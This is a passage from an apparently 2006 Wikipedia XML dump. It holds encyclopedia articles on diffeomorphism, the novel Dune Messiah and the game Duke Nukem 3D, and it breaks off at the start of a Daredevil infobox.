results due to [[Fields Medal]] winners [[Simon Donaldson]] and [[Michael Freedman]] led to the discoveries that there are uncountably many pairwise non-diffeomorphic open subsets of &lt;math&gt;\mathbb{R}^4&lt;/math&gt; each of which
is homeomorphic to &lt;math&gt;\mathbb{R}^4&lt;/math&gt;, and also that there are 
uncountably many pairwise non-diffeomorphic differentiable manifolds
homeomorphic to &lt;math&gt;\mathbb{R}^4&lt;/math&gt; which do not embed smoothly in &lt;math&gt;\mathbb{R}^4&lt;/math&gt;.

==See also==

*[[local diffeomorphism]]

[[Category:Differential topology]]

[[de:Diffeomorphismus]]
[[fr:Difféomorphisme]]
[[it:diffeomorfismo]]
[[ru:&amp;#1044;&amp;#1080;&amp;#1092;&amp;#1092;&amp;#1077;&amp;#1086;&amp;#1084;&amp;#1086;&amp;#1088;&amp;#1092;&amp;#1080;&amp;#1079;&amp;#1084;]]</text>
    </revision>
  </page>
  <page>
    <title>Diesel engines</title>
    <id>8566</id>
    <revision>
      <id>15906546</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Diesel engine]]
</text>
    </revision>
  </page>
  <page>
    <title>Dune Messiah</title>
    <id>8567</id>
    <revision>
      <id>41055753</id>
      <timestamp>2006-02-24T19:45:48Z</timestamp>
      <contributor>
        <username>Tempshill</username>
        <id>18084</id>
      </contributor>
      <comment>/* Synopsis */ Note that Paul can &quot;see&quot; because he now acts in lockstep with his previous visions.</comment>
      <text xml:space="preserve">{{DuneSeries}}



'''''Dune Messiah''''' is a [[science fiction]] novel by [[Frank Herbert]], the second in a series of six novels. It was originally serialized in [[Galaxy science fiction|Galaxy]] magazine in [[1969]]. The [[United States|American]] and [[United Kingdom|British]] editions have different prologues summarizing events in the previous novel. The novels Dune Messiah and [[Children of Dune]] were adapted by the [[Sci-Fi Channel]] in 2003 into a well-received mini-series entitled [[Children of Dune (TV miniseries)|Children of Dune]].

{{spoiler}}

==Synopsis==
[[Image:DuneMessiah.jpg|thumbnail|200px|Dune Messiah]]
Twelve years after the events described in ''[[Dune (novel)|Dune]]'', [[Paul Atreides]] rules as Emperor of the Known Universe, following a galactic [[jihad]] he unleashed by accepting the role of Messiah to the [[Fremen]].  While Paul is the most powerful Emperor ever, he is ironically powerless to stop the lethal religious excesses of the juggernaut he has created. 

Although sixty billion people have perished, Paul's [[prescience|prescient]] visions indicate that this is far from the worst possible outcome for humanity.  Motivated by this knowledge, Paul hopes to set humanity on a course that will not inevitably lead to stagnation and destruction, while at the same time acting as ruler of the Empire and focal point of the Fremen religion.

The situation is further complicated by the conspiracy of powerful interests who hope to reverse the events that brought [[House Atreides]] to the throne, including the remnants of the displaced [[House Corrino]], the [[Bene Gesserit]] who have lost control of their [[Kwisatz Haderach]], the [[Spacing Guild]], now utterly beholden to Paul, and the [[Bene Tleilax]].  The Atreides dynasty is unstable because Paul has not produced an heir. [[Chani]], his lover, is secretly being given [[contraceptive]]s by the Princess [[Irulan]], and while Paul is aware of this, he has foreseen that the birth of his heir will bring Chani's death, and he does not want to lose her.  Chani then conceives after switching to a [[melange|spice]]-only diet.

The conspirators, including [[Gaius Helen Mohiam]], [[Edric (Dune)|Edric]], a guild navigator, [[Scytale (Dune)|Scytale]], a [[face dancer]], and Irulan, give Paul a gift he cannot resist, a [[ghola]] of [[Duncan Idaho]], his childhood teacher and friend, now called &quot;Hayt.&quot;  The conspirators hope the presence of Hayt will undermine Paul's ability to rule by forcing Paul to question himself and his empire he has created.  Furthermore, Paul's acceptance of the gift weakens Paul's support among the Fremen who see the Tleilaxu and their tools as unclean.

Further complicating the situation is the physical maturity of Paul's powerful sister, [[Alia Atreides|Alia]], who finds herself irresistibly attracted to Hayt/Duncan.  Alia and Hayt investigate the appearance of a female corpse near the city; Hayt realizes that the fact that no-one has been reported missing implies a Tleilaxu plot in which the woman has been replaced by a [[face dancer]].  Hayt also takes this opportunity to steal a kiss from Alia. She is outraged, but Hayt just laughs, saying he took nothing more than she offered, a fact she admits to herself privately. 

Paul Muad'dib demands to see Mohiam, who fears she will be killed, but instead discovers Paul wants to bargain with her:  Paul offers to produce a child by artificial insemination in return for the survival of Chani and her child.  Mohiam, desperate to regain the Atreides genes for the Bene Gesserit breeding programme, would have to violate the [[Butlerian Jihad|Butlerian]] taboos against the use of machines.  Furthermore, she realizes no child born in this way would be a candidate for the Imperial throne, and that the Bene Gesserit could never admit the existence of such a child without risking their position in the Empire.  She decides that she must consult with the Mother School of the Bene Gesserit on Wallach IX.

Six weeks later Chani is seen by a medic, and discovers her pregnancy has become complicated because of the contraceptives introduced to her system.  Realizing that only Irulan could be the perpetrator, Chani wishes to kill her but is prevented by Paul.  She questions whether it is sensible for Paul to continue to spar with Hayt, and Paul replies that the Tleilaxu have made better than they could know and that it may be possible to restore Hayt's memories as Duncan Idaho. 

The daughter of Otheym, one of Paul's death commandos, asks Paul to visit her father in secret, and while Paul realizes she has been replaced by a face dancer, his prescient visions show that 
revealing this will lead to futures he wishes to avoid.  Paul is forced to admit the face dancer asks to be taken into Paul's household, and visits Otheym.

Otheym reveals evidence of a conspiracy against Muad'dib among the Fremen, some of whom are distrustful of following the Atreides, and gives Paul his Tleilaxu servant Bijaz, who like a recording machine can remember faces, names, and details.  Paul accepts reluctantly, seeing the strands of a Tleilaxu plot.  As Paul's soldiers attack the conspirators, the Tleilaxu set off a [[stone burner]], an atomic weapon that destroys the house and blinds Paul.  Paul is able to continue in leadership by fixing his actions precisely in line with what his previous oracular visions showed him; by moving through his life in lockstep with his previous visions, he can see even the slightest details of the world around him. The disadvantage of this is his inability to change any part of his destiny so long as he wishes to appear sighted.

The unraveling of the conspiracy reveals that [[Korba]], high priest of Paul's church, is among Paul's enemies, and while Korba tries to deny this, persuading the Fremen Naibs of his innocence, Paul arrives to confront him directly and Korba is put into [[Stilgar]]'s custody.

Hayt interrogates [[Bijaz]] but Bijaz uses planted conditioning words to control the ghola, and programs Hayt to offer Paul a bargain when Chani dies: Bijaz offers Chani's return as a ghola, and the hope that Duncan Idaho might be reawakened, in return for Paul sacrificing the throne and going into exile.  Hayt comes across Alia, who has overdosed herself with spice in the hope of enhancing her prophetic visions.  Her peril provokes fierce emotional response from Duncan and Alia realizes that Duncan loves her; he admits the truth. 

News is brought that Chani has died giving birth to two healthy children, [[Leto Atreides II| Leto]] and [[Ghanima Atreides| Ghanima]], pre-born (fully conscious with Kwisatz Haderach-like access to ancestral memories due to Chani's encounter with the spice essence while pregnant with the twins) like their aunt Alia. News of the birth is delivered to Paul and his reaction to it triggers the hidden compulsions in Hayt's mind, and he attempts to kill Paul.  Reacting against its own programming, Hayt's body remembers itself, and a new consciousness arises that is a mix of Duncan Idaho and Hayt unconditioned by the Tleilaxu programming.  Paul is unsurprised by this, having foreseen it. 

As Paul nears a crucial decision point in time, causing his prophetic visions to fail and rendering him totally blind, he is thrust into a deadly standoff.  Scytale, disguised as Otheym's daughter, holds a knife to the necks of Paul's children.  He offers to revive Chani as a ghola in return for Paul's abdication.  Paul receives a prescient vision from the perspective of his newborn son, and is able to throw a dagger and kill Scytale. 

With Paul's visions gone, he chooses to walk into the desert in the Fremen tradition, winning the fealty of the Fremen for his children, who will inherit his mantle of Emperor.  Paul leaves Alia as [[regent]] for his children.

At the conclusion of the novel, Duncan examines the irony that Paul and Chani's deaths enabled them to triumph against their enemies.  Duncan realizes that Paul escaped deification, walking into the desert as a man, while guaranteeing Fremen support for the Atreides line.  Stilgar interrupts Duncan to suggest he should go to a distraught Alia, and Duncan goes to comfort her.  Before Idaho goes to comfort Alia, Stilgar reports that he has carried out Alia's orders to execute Gaius Helen Mohiam, Edric, Korba, and &quot;a few others.&quot; Because the key players of the conspiracy are now dead, Paul's children are left in a relatively safe situation. With Paul's family secure and his most trusted associates in power, the Empire and House Atreides appear to be in safe hands.

==External links==
*{{isfdb title|id=2037|title=Dune Messiah}}
* [[Matrix Revolutions]] [http://filip.stir.org/en/writings/20031109_matrix_3_review.html uses the main plot elements of Frank Herbert's book Dune Messiah.]

[[Category:1970 books]]
[[Category:Frank Herbert novels]]
[[Category:Science fiction novels]]
[[Category:Dune universe media]]

[[es:El Mesías de Dune]]
[[fr:Le Messie de Dune]]</text>
    </revision>
  </page>
  <page>
    <title>Duke Nukem 3D</title>
    <id>8569</id>
    <revision>
      <id>42144647</id>
      <timestamp>2006-03-04T02:51:34Z</timestamp>
      <contributor>
        <ip>68.200.125.84</ip>
      </contributor>
      <comment>/* Console ports */</comment>
      <text xml:space="preserve">{{Infobox CVG| title = Duke Nukem 3D
|image = [[Image:dukenukem3d.jpg|250px]]
|developer = [[3D Realms]]
|publisher = [[Apogee Software]]
|designer =
|engine = [[Build engine|Build]]
|released = [[January 29]] [[1996]] ([[IBM PC compatible|PC]])&lt;br /&gt;[[May 25]] [[1997]] ([[Apple Macintosh|Mac]])&lt;br/&gt;[[April 1]], [[2003]] ([[Source code|Source]])
|genre = [[First-person shooter]]
|modes = [[Single player]], [[Multiplayer]]
|ratings = [[ESRB]]: Mature&lt;br /&gt;[[BBFC]]: 18&lt;br /&gt;[[OFLC]]: MA15+
|platforms = [[IBM PC compatible|PC]] ([[MS-DOS]]), [[Apple Macintosh|Mac]], [[Sega Saturn]], [[Sega Genesis]] ([[Brazil]] only), [[Sony Playstation]], [[game.com]]
|media = [[Compact disk|CD]] (PC/Mac)
|requirements =
|input =
}}
'''''Duke Nukem 3D''''' is a [[first-person shooter]] developed by [[3D Realms]] and released on [[January 29]], [[1996]] by [[Apogee Software]], featuring the adventures of [[Duke Nukem (character)|Duke Nukem]], based on a character that had appeared in earlier [[platform game]]s by the company: ''[[Duke Nukem (game)|Duke Nukem]]'' and ''[[Duke Nukem II]]''.

==Synopsis==
:&quot;Murderous aliens have landed in futuristic Los Angeles, and humans suddenly find themselves atop the endangered species list. The odds are a million-to-one, just the way Duke likes it!&quot;

Taking on the role of Duke Nukem, players must fight through 28 levels spread over three chapters. (A commercial upgrade later added a fourth episode of 11 additional levels.)  As usual for a first-person shooter, players encounter a whole host of different enemies, and can engage them with a range of weaponry. As well as killing aliens to free the Earth, players must also solve puzzles to progress through the various levels. Some puzzles allow access to extra, hidden levels.

==Humor==
[[Image:DukeNukem3d-DoomedSpaceMarine.png|thumb|250px|right|&quot;That's one doomed space marine.&quot;]]
''Duke Nukem 3D'' is mainly notable for the often crude humor it introduced into what had previously been a fairly humorless [[first-person shooter|genre]], including a stream of one-liners (heavily inspired by [[Ash Williams]] and [[They Live|John Nada]]) from the title character. Many of these related to the frequently gruesome deaths meted out by the Duke (&quot;That's gotta hurt&quot;), interactions with useable props such as toilets (&quot;Ahhh, much better&quot;) or noteworthy things Duke comes across and feels necessary to comment on, like Duke Nukem arcade machines (&quot;Hmm... don't have time to play with myself.&quot;). Various [[Easter egg (virtual)|easter eggs]] appear in the game, such as a giant sign on a wall proclaiming &quot;NOONE SHOULD BE HERE&quot; in an area not accessible except by using a no-clip cheat.

The game also references and [[parody|spoofs]] many films and other games. For instance, when the player comes upon a corpse that closely resembles the [[player character]] in ''[[Doom]]'', Duke comments, &quot;That's one doomed [[space marine]].&quot; This quote became famous after websites dedicated to ''Duke Nukem 3D'' began reporting that ''Doom'''s developer, [[id Software]], had filed a lawsuit against Apogee Games and 3D Realms, trying to obtain an injunction to remove it.  (The suit was ultimately unsuccessful.)  Another jab at a fellow shooter game was a line in a level in Episode 3 when a building (with a sticker warning of a fault line) blows up and partially collapses; Duke responds, &quot;I ain't afraid of no quake,&quot; obviously poking fun at the game ''[[Quake]]'', which was yet to be released. 
 
The game freely plundered many themes from cinematic sources, notably the ''[[Alien (movie)|Alien]]'' (the proto-slimes come out of eggs exactly like [[Xenomorph|those seen]] in the ''Alien'' series and people trapped in pods who whisper &quot;kill me&quot; like in ''[[Aliens (film)|Aliens]]'' and one deleted scene from ''Alien'') and ''[[Evil Dead]]'' film series. There were also cameos from [[Indiana Jones]] (a dead Indy hanging in a cave that collapses), ''[[Star Trek: The Next Generation]]'' (a hidden recreation of the Enterprise bridge), ''[[Star Wars]]'' (the hanging corpse of [[Luke Skywalker]] in [[Imperial Stormtrooper|Stormtrooper]] armor), ''[[Escape From L.A.]]'' (the corpse of the movie's lead character, [[Snake Plissken|Snake]], on a pike, with Duke saying, &quot;I guess he didn't escape from LA.&quot;), ''[[The Hunt for Red October]]'' (the submarine USS Dallas in Episode 1, Level 3), ''[[2001: A Space Odyssey (film)|2001: A Space Odyssey]]'' and ''[[The Terminator]]'' (where we see a crushed [[T-800|Terminator]] like at the end of the first movie). In the ''Atomic Edition'', the game contained references to ''[[Dirty Harry]]'', ''[[Die Hard]]'', ''[[Mission: Impossible]]'', and ''[[Independence Day (movie)|Independence Day]]''.

There are also references to the [[OJ Simpson]] trial, including the chase of the white Ford Bronco being played on TV in the red light district bar as well as billboards simply saying ''Innocent?'' and ''Guilty!''.

==Gameplay==
===Level design===
A notable quality of the game was the immense interactivity and realism of its levels. While many past first-person shooter games like [[Doom]] took place within relatively confined corridors, usually in gloomy, claustrophobic bases, the levels of ''Duke Nukem 3D'' took the player through attractively rendered street scenes, military bases, [[desert]]s, flooded cities, [[space station]]s, moon bases and even [[Japan|Japanese]] villas. Levels were also designed in a fairly non-linear manner such that players could advantageously use air ducts, back doors and sewers to avoid enemies or find hidden secrets, which also made the levels well suited to [[Deathmatch|deathmatch]]. As well as being highly detailed (for the time), these locations were also filled with objects that the player can interact with (including [[light switch|light switches]], [[toilet]]s, [[pool table]]s, [[arcade game]]s, [[closed-circuit television|closed-circuit cameras]] and, infamously, [[striptease|strippers]]). While these rarely had a crucial role in play (the closed-circuit cameras being a tactical exception), they gave ''Duke Nukem 3D'' an immersive feel greater than that in its rivals. As previously indicated, they also usually added considerably to its humor.

An extra &quot;feature&quot; in the game that could be exploited by players was warping (''i.e.'' [[teleportation]] from place to place very quickly). This feature would only operate at some very specific locations in the game, and usually only under complex sequences and/or simultaneous moves. Many players particularly liked these warps as they were very difficult to find and because they were able to convey powerful advantage during play. In fact, the warps were nothing more than an unwanted [[computer bug|bug]] in the software, more specifically in the 3D engine. 3D Realms eventually fixed most of the warps in version 1.5 (also known as ''Duke Nukem 3D: Atomic Edition''). However, for many experienced players the warps contributed a lot to their enjoyment of the game, and many people kept playing with the earlier version v1.3d (in which the warps were allowed), instead of using the v1.5. Most of these warps were an indirect result of the [[Build engine]]'s inability to support rooms on top of other rooms. The developers had to work around this problem by overlapping different rooms to give the illusion of different floors. Crouching or jumping around in certain spots inside said overlapped rooms would occasionally confuse the game and warp the player to another &quot;floor.&quot; This concept can also be seen in underwater portions of the game - crouching down on the surface of the water would actually teleport the player to a completely different sector shaped to look like an underwater room. However, this behaviour is intentional and was used to create the illusion of being underwater.

===Weapons and equipment===
[[Image:dukenukem3dscreenshot.jpg|thumb|250px|right|Duke Nukem engages some enemies with a freeze gun]]
The game also featured some of the most varied weapons in any first-person shooter game. Traditional weapons such as [[pistol]]s, [[shotgun]]s and [[machine gun]]s were augmented by the inclusion of a range of more imaginative weapons, some of which, even today (Q1 2006), are still unique to the ''Duke Nukem'' series. [[Pipe bomb]]s with remote [[trigger]]s and laser trip bombs allowed the player to set traps for enemies to blunder into- (the trip bomb also appears in [[Half-Life]], with a wieldable version in [[Half-Life 2]].) A [[freeze]] gun locked enemies in a block of ice long enough for Duke to smash them with a well-placed shot or boot. A shrink ray would turn enemies into vulnerable miniature versions of themselves, that again were at the mercy of Duke's boot (using mirrors, the shrink ray could also be used on Duke himself to complete objectives that required a shorter stature). ''Duke Nukem 3D: Atomic Edition'' featured a new weapon, the expander, created by augmenting the shrink ray with a microwave dish. Contrary to the miniaturization effect the shrink ray had on enemies, the expander caused them to inflate and explode instead.

Aside from weapons, Duke's inventory also included a series of items that could be picked up during play. A portable medkit allowed players to heal themselves whenever they chose to. [[Steroid]]s sped up player movement making transit through hostile territory easier (additionally, they rendered the player immune to the effects of the Shrink Ray, especially useful in multiplayer mode). [[Infra-red]] goggles allowed players to see enemies in the dark. The &quot;HoloDuke&quot; device would project a [[hologram]] of Duke that could be used to distract enemies. Protective boots allowed the player to cross dangerously hot or toxic terrain. Where progress required more aquatic legwork, an [[aqualung]] allowed the player to take longer trips away from air. Perhaps most impressively, a [[jet pack]] allowed the player to range fully in 3D, often to reach carefully hidden weapons caches or extra health, although typically jet pack availability was restricted to avoid making levels too easy.

===Monsters===
The game features a wide range of monsters, some of which are ''[[bona fide]]'' [[extraterrestial life|aliens]], others [[mutant|mutated]] humans (the [[LAPD]] has been &quot;turned&quot; into pigs, with [[Lard|LARD]] wittily emblazoned on their uniforms). As usual for a first-person shooter, Duke encounters a large number of lesser foes, and a small number of [[boss (video games)|boss]] enemies (usually at the end of chapters). Like Duke, these enemies have access to a wide range of weapons and equipment (some weaker enemies have jet packs). In keeping with the general tone of the game, Duke's enemies frequently experience humourous deaths, or engage in amusing, everyday activities (e.g. using the toilet).

See also the main article on [[Duke Nukem 3D monsters]].

===Multiplayer===
Fans may have happy memories of Duke Nukem 3D's network gaming maps. In particular, ''fort'' was the pick of the community maps especially for 2 or 4 player mode.
The game can be played either in Death Match with or without monsters or in co-operative mode versus the monsters, a feature ever less frequent in newer first-person shooter games.

==Criticism and Controversy==
The game has been heavily attacked by some critics, who allege that it promotes [[pornography]] and [[murder]]. For example, [[Media Watch]] wrote that:

:&quot;Duke Nukem 3D moves the 'shooter' through pornography stores, where Duke can use XXX sex posters for target practice. Duke throws cash at a prostituted woman telling her to 'Shake it, Baby' his gun ever ready. In Duke Nukem bonus points are awarded for the murder of these mostly prostituted and partially nude women. Duke blows up stained glass windows in an empty church or goes to strip clubs where Japanese women lower their [[kimono]]s exposing their breasts. Duke is encouraged to kill defenseless, often bound women.&quot; [http://www.mediawatch.com/wordpress/?p=13]

While some of this criticism is exaggerated (e.g. players do not receive points for killing women, and are usually attacked for doing so), the extreme depiction of women in ''Duke Nukem 3D'' is notable. George Broussard, the president of [[3D Realms]], defends the game, noting its success and arguing that consumers obviously do not find the content abusive or immoral. However, success with some consumers is clearly not evidence that ''Duke Nukem 3D'' is more widely acceptable. Significantly, virtually all of the women that appear in the game are either strippers, prostitutes, cheerleaders or alien prisoners (although a few of the following franchise sequels changed this, with Duke fighting alongside strong female characters). This treatment of women is extreme even by the standards of video games. It could be viewed as [[irony|ironic]] and over-the-top [[parody|send-up]] of [[Hollywood#Hollywood and the motion picture industry|Hollywood]] [[action movie|action-film]] [[stereotype]]s; but, unsurprisingly, it causes offence.

As a result of a gunman's rampage through a movie theatre in [[Brazil]], ''Duke Nukem 3D'' was banned in that country along with ''[[Quake]]'' and ''[[Doom]]'' and several other violent first-person shooters, due to ''Duke Nukem 3D'''s opening level &quot;Hollywood Holocaust&quot; (Episode 1, Mission 1) where Duke inevitably gets into a firefight with aliens inside a cinema. Unlike ''[[Carmageddon]]'' (which was banned in Brazil too) this didn't prevent the game from being published in a computer magazine.'' Quake'' was still found in a &quot;Best Seller&quot; package years later and Doom's Collectors Edition and ''[[Doom 3]]'', as ''[[Quake III Arena]]'' and other shooters are still found and sold legally in Brazil.

Years later there would be a similar controversy about the ''[[Grand Theft Auto (series)|Grand Theft Auto]]'' series distributed by [[Take-Two Interactive]]. Coincidentally, Take-Two Interactive is the prospective distributor for ''[[Duke Nukem Forever]]'', the sequel to ''Duke Nukem 3D''.

==Official Addons==
===Plutonium PAK/Atomic Edition===
The Atomic Edition of ''Duke Nukem 3D'' was released in late 1996, and contained the original 3 episode game as well as a new eleven-level fourth episode.  The Plutonium PAK was also released as an upgrade package to convert the original release of ''Duke Nukem 3D'' (v1.3d) to the new Atomic Edition (v1.4, later patched to v1.5).

The Atomic Edition introduced three enemies: the Protector Drone, the Pig Cop Tank, and a new boss known as The Queen.  It also included a new weapon, the Microwave Expander.

The Atomic Edition also saw several improvements to the scripting language of the game, allowing the game's active [[modding]] community to create new enemies and items without overwriting the pre-existing ones.

===EDuke===
Following the release of the ''[[Doom]]'' source code in 1997, many of those in the modding community began wishing for a similar source code release from 3D Realms.  The last major game to make use of the ''Duke Nukem 3D'' source code was ''[[WW2GI]]'' in 1999.  It's programmer, Matthew Saettler, expanded greatly upon the scripting language used by modders to change many aspects of the game.

Saettler let it be known that he was willing to expand further upon ''WW2GI'''s scripting language, and shortly thereafter agreed to make his enhancements available for ''Duke Nukem 3D'' with the permission of 3D Realms.

Shortly thereafter, 3D Realms approved the project.  Saettler was the sole programmer, working with several mod authors to beta-test the new addition that would carry the ''Duke Nukem 3D'' version numbering to v2.0 and be titled EDuke.

EDuke was released as a patch for Atomic Edition users on July 28, 2000, and included a demo mod made by several beta testers.  The demo included new sector-based effects, sprite-based elevators, ladders, a bouncing particle fountain, a personal teleporter, and a more sophisticated translucent water effect.

==Unofficial Addons==
===Commercial Addons===
Although ''Plutonium Pak'' is the only official add-on pack, some companies have marketed their own add-on packs for ''Duke Nukem 3D''. Four well-known add-on packs are ''Duke Caribbean'', ''Duke it Out in D.C.'', ''Duke Nuclear Winter'', and ''Duke Xtreme''.

''Duke Caribbean'': This game supposedly takes place after ''Duke Nukem 3D''. Duke relaxes on a tropical island when he discovers that the aliens are having their own &quot;vacation&quot;. This add-on pack has often been praised by players.

''Duke it Out in D.C.'': Duke Nukem has been called out to rescue [[President of the United States|US President]] [[Bill Clinton]] from an abduction.

''Duke Nuclear Winter'': The aliens have taken over the [[North Pole]], and kidnapped [[Santa Claus]]. Duke Nukem must fight the aliens to rescue him. Although this add-on has been praised for its [[Christmas]] theme, it has still been criticized for unoriginality and poor level design.

''Duke Xtreme'': This add-on pack contains around 50 levels and many utilities for ''Duke Nukem 3D''. This pack has often been criticized for its many software bugs.

===Modifications===
Many mods/total conversions of Duke Nukem 3D have appeared on the Internet, including Jesse Petrilla's [[controversial]] conversions ''Quest for Al-Qa'eda: The Hunt for Bin Laden'' and ''Quest for Hussein'', in which the player is a U.S. Marine who must single-handedly dispose of [[Osama bin Laden]] and [[Saddam Hussein]], respectively.

Duke Nukem 3D's graphic [[Game engine|engine]] was an evolutionary step from the engine used for ''Doom''. While the levels were still defined as 2D maps, the capabilities of [[Ken Silverman|Ken Silverman's]] [[Build engine]] allowed more complex levels than Doom. Since Duke Nukem 3D was still not a fully 3D engine, it was considered to be a [[2.5D]] game. Although the era of true 3D games had begun with ''[[Descent (computer game)|Descent]]'' in [[1995]], it would not be until ''Quake'' was released later in [[1996]] that a true 3D engine would be used for an FPS.

==Source code ports==
The [[source code]] to the ''Duke Nukem 3D'' v1.5 executable, which used the ''[[Build engine]]'', was released under the [[GPL]] on [[April 1]], [[2003]]. However, the game content still remains the sole property of 3D Realms. The game was quickly ported by enthusiasts to modern OSes, including [[Microsoft Windows]], [[Linux]] and [[Mac OS X]]. [[As of 2005]], these ports gave the game a second life in multiplayer games through the Internet and a growing community is still actively playing.

===Standard Ports===

The first ''Duke Nukem 3D'' port was the icculus.org port.  It was a cross-platform port that allowed the game to be played on Linux, Windows, BeOS, Solaris, OSX, and FreeBSD.  The icculus.org codebase would later be used in the Rancidmeat port, and later, the xDuke port.

Currently the most prominent port is [[Jonathon Fowler]]'s JFDuke3D, which in December 2003 received backing from the original author of [[Build]], programmer [[Ken Silverman]]. Fowler, in cooperation with Ken, released a new version of JFDuke3D using [[Build engine#Polymost|Polymost]], an [[OpenGL]]-enhanced renderer for Build, which allows hardware acceleration and 3D model support, along with 32 bit color high resolution textures. 

Silverman has since helped Jonathon Fowler with a large portion of other engine work, including updating the network code and continuing to maintain various other aspects of the engine. Projects such as the ''Duke 3D High Resolution Pack'' [http://hrp.planetduke.gamespy.com/] were started in order to take advantage of the various engine improvements and attempt to update Duke's graphical resources almost to the level of modern games. Plans are still in the works to include additional engine features as time goes on.

===EDuke and Other Ports===

The first port aimed at expanding features for mod authors was an experimental port called CDuke, authored by Colourless.  It cleaned up and enhanced some unused code in the original source designed to allow translucent sector-based water and other &quot;sector over sector&quot; effects.  The implementation wasn't perfect, but showed promise.  CDuke also was the first port to demonstrate voxels within Duke 3D, which had been seen in other Build Engine games.  The port ceased production shortly after it was released.

Around May of 2003, not long after the release of the Duke Nukem 3D [[source code]], [[Blood (computer game)|Blood]] project manager Matt Saettler released the [[source code]] for both EDuke 2.0 and EDuke 2.1. EDuke is a branch of ''Duke Nukem 3D'' that was officially released by 3D Realms; it focused primarily on enhancing the CON scripting language in ways that allowed those modifying the game to do much more with the scripting system than originally possible. A few ports emerged (most notably WinEDuke and EDuke 2.1.1), but it wasn't until the release of EDuke32 (a merging and extension of EDuke and JFDuke3D) that EDuke became a prominent community focus. EDuke32 has seen consistent and frequent releases (often allowing the community to taste experimental new engine features weeks before the next JFDuke3D release), and thanks to the work of Richard Gobeille (TerminX) it has drawn a greater interest to the modding community.

==Console ports==

[[Image:Duke_Nukem_3D_Genesis.png|250px|thumb|The elusive Mega Drive port]]In [[1997]], ''Duke Nukem 3D'' was ported to all the major consoles of the time; the [[PlayStation]] version, ''Duke Nukem: Total Meltdown'', included six extra levels and slightly inferior graphics when compared to the PC version.[http://psx.ign.com/objects/002/002194.html]

The [[Sega Saturn]] version retained the original name and lacked extra levels, but used a true 3D engine as opposed to the 2.5D engine that all other Duke Nukem console ports used. Other features that are exclusive to the Saturn version are [[Lightmaps]] as opposed to sector-based lighting, and dynamic colored lighting. It was also capable of using the [[Sega NetLink]] for online gaming. [http://www.sega-saturn.com/saturn/software/duke3d.htm]

The [[Nintendo 64]] version, ''Duke Nukem 64'', had a split screen 4-player mode as well as bi-linear filtered textures, however it was still at its core a 2.5D engine and was not capable of true 3D architecture. In addition the game was considerably censored, with most of the sexually suggestive material removed.

In [[1998]], it was also ported to the [[Mega Drive]] (Sega Genesis) by [[Tec Toy]] [http://www.mobygames.com/game/genesis/duke-nukem-3d]. The obscurity of this port (it was only released in [[Brazil]]) has frequently led to it being mistaken for an unlicensed &quot;hack&quot;. It is not based off any other game made for the [[Mega Drive]], instead it was programmed from the ground up by TecToy. The legality of the port is currently unknown, with 3D Realms not giving a clear answer.

Additionally, a version of ''Duke Nukem 3D'' was also released for the [[Game.com]], [[Tiger Electronics|Tiger]]'s short lived [[Handheld game console|handheld]] system. Due to the console's hardware limitations, this version was not a true first person shooter but instead a sort of &quot;dungeon crawl&quot;.

==Successors==
===Duke Nukem Forever===
Today, the long-promised sequel, ''[[Duke Nukem Forever]]'', is still in production after 9 years of development. ''Duke Nukem Forever'' last made a public appearance at the [[E3]] of 2001, where a video trailer of the game was released, citing again the &quot;When It's Done&quot; release date. However, even that recent appearance no longer represents the true state of the game, which, according to 3D Realms President George Broussard, has been rebuilt from the ground up at least twice.

===Sin===
The game ''[[Sin (computer game)|Sin]]'' is considered by some a [[spiritual sequel]] to ''Duke Nukem 3D''. Like ''Duke Nukem 3D'', ''Sin'' features a vocal main-character, over-the-top guns, hideous monsters, large-breasted women, and a realistic near-future setting. [[Ritual Entertainment]], ''Sin's'' developer, was founded by several members of the ''Duke Nukem 3D'' team.


==Crew and cast==

[[Todd Replogle]], Allen H. Blum III, [[George Broussard]], Greg Malone, [[Ken Silverman]], Mark Dochtermann, Jim Dose, [[Richard Gray]], Chuck Jones, Stephen Hornback, Dirk Jones, James Storey, David Demaret, Douglas R. Wood, Lee Jackson, [[Robert Prince]], [[Lani Minella]], [[Jon St. John]], Robert M. Atkins, Michael Hadwin

==External links==
{{wikiquote}}
* [http://www.3drealms.com/duke3d/ Official ''Duke Nukem 3D'' homepage]
* [http://www.planetduke.com/ Planet Duke (GameSpy)]
* {{moby game|id=/duke-nukem-3d|name=''Duke Nukem 3D''}}
* [http://forums.3drealms.com/ubbthreads/postlist.php?Cat=0&amp;Board=dukesource 3D Realms Duke Nukem 3D Source Boards]

Ports allowing you to play [[multiplayer]] games of ''Duke Nukem 3D'' (via LAN or Internet):

* [http://jonof.edgenetwork.org/index.php?p=jfduke3d JFDuke3D] -- JonoF's ''Duke Nukem 3D'' port (cross-platform)
* [http://eduke32.com/ EDuke32] -- TerminX's ''EDuke'' port (cross-platform)
* [http://www.rancidmeat.com/project.php3?id=1 Duke3d_w32] -- Bargle's ''Duke Nukem 3D'' port (Windows)
* [http://duke3d.m-klein.com xDuke] -- xDuke's Duke3d_w32 based ''Duke Nukem 3D'' port (Windows)

Other useful items:

* [http://www.dukesterx.net Dukester X] -- Manage multiplayer games of ''Duke Nukem 3D'' on the Internet; supports the Duke3d_w32 and JFDuke3D ports.
* [http://hrp.planetduke.gamespy.com/ The Duke Nukem 3D High Resolution Pack] -- Art and models to enhance your playing experience when using either JFDuke3D or EDuke32.

Duke3D fan-site:

* [http://www.planetduke.com/amc Mikko Sandt's Duke Nukem 3D Page]

{{DNgames}}
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[[Category:First-person shooters]]
[[Category:1996 computer and video games]]
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[[Category:DOS games converted into Windows games]]
[[Category:Sega Genesis games]]
[[Category:Sega Saturn games]]
[[Category:Apple Macintosh games]]
[[Category:PlayStation games]]
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    </revision>
  </page>
  <page>
    <title>Daredevil (Marvel Comics)</title>
    <id>8570</id>
    <revision>
      <id>42030740</id>
      <timestamp>2006-03-03T09:08:59Z</timestamp>
      <contributor>
        <ip>144.134.7.113</ip>
      </contributor>
      <comment>/* Enemies */</comment>
      <text xml:space="preserve">{{Superherobox| &lt;!--Wikipedia:WikiProject Comics--&gt;
image=[[Image:DD82Variant.jpg|250px]]
|caption=Daredevil&lt;br&gt;Art by [[Steve McNiven]], 2006.
|comic_color=background:#ff8080
|character_name=Daredevil
|real_name=Matthew Michael Murdock
|publisher=[[Marvel Comics]]
|debut=''Daredevil'' #1 (April 1964)
|creators=[[Stan Lee]]&lt;br&gt;[[Bill Everett]]
|alliance_color=background:#ffc0c0
